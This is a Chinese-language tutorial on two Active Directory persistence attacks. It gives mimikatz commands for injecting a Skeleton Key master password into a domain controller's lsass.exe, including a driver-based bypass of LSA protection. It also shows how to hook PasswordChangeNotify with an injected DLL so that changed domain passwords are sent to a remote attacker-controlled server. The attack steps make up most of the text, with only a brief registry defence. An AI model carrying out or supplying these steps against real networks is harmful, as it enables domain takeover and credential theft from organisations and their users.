一、skeleton key(万能密码)
支持Windows Server2003—Windows Server2012 R2
原理就是使用 mimikatz 完成注入 Skeleon Key 的操作,将 Skeleton Key 注入域控制器的 lsass.exe 进程。这样域内的所有用户都能使用同一个密码进行登录。
防御方式:重启域控
privilege::debug
misc::skeleton
在域控上上传mimikatz
net use \\WIN-HJ1H44JL2BW.ice.com mimikatz /user:administrator@ice.com
可以看到此时我们在域用户主机BBB上可以列出域控的目录了,此时生成了一个默认万能密码mimikatz
Skeleton Key只是给所有账户添加了一个万能密码
微软在2014年3月12日添加了LSA保护策略,用来防止对进程lsass.exe的代码注入,这样一来就无法使用mimikatz对lsass.exe进行注入,相关操作也会失败。
具体注册表如下
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
新建-DWORD
值,名称为RunAsPPL
,数值为00000001
mimikatz bypass
#!bash
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
**
二、Hook PasswordChangeNotify
原理
1、就是在Windows系统重置更改域控密码的时候,LSA(lsass.exe)会调用PasswordFileter来检测密码是否符合标准,如果符合,那么再调用PasswordChangeNotify来进行更改密码
2、PasswordChangeNotify这个方法又位于rassfm.dll下
3、rassfm.dll只存在于win server的系统版本中
4、那么思路就很明确了,生成一个恶意的DLL文件注入lsass.exe中,实现HOOK功能,进行密码的读取
5、Hook PasswordChangeNotify 比起SSP读密码来得更简单方便,主要比较如下:
SSP
安装后需要重启系统
需要在System32文件夹下放置dll
需要修改注册表
Hook PasswordChangeNotify
不需要重启
不需要修改注册表
甚至不需要在系统放置dll
实验演示:
https://github.com/kevien/PasswordchangeNotify
PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1
在C:\Windows\System32 新建配置文件 system.ini
第一行是你要连接的ip地址
是你所连接的远程ip地址的端口
当域控管理员修改账号之后会在远程服务器的web日志中出现修改后的账号和密码
powershell执行命令
创建system.ini配置文件
监听IP和端口
修改域控密码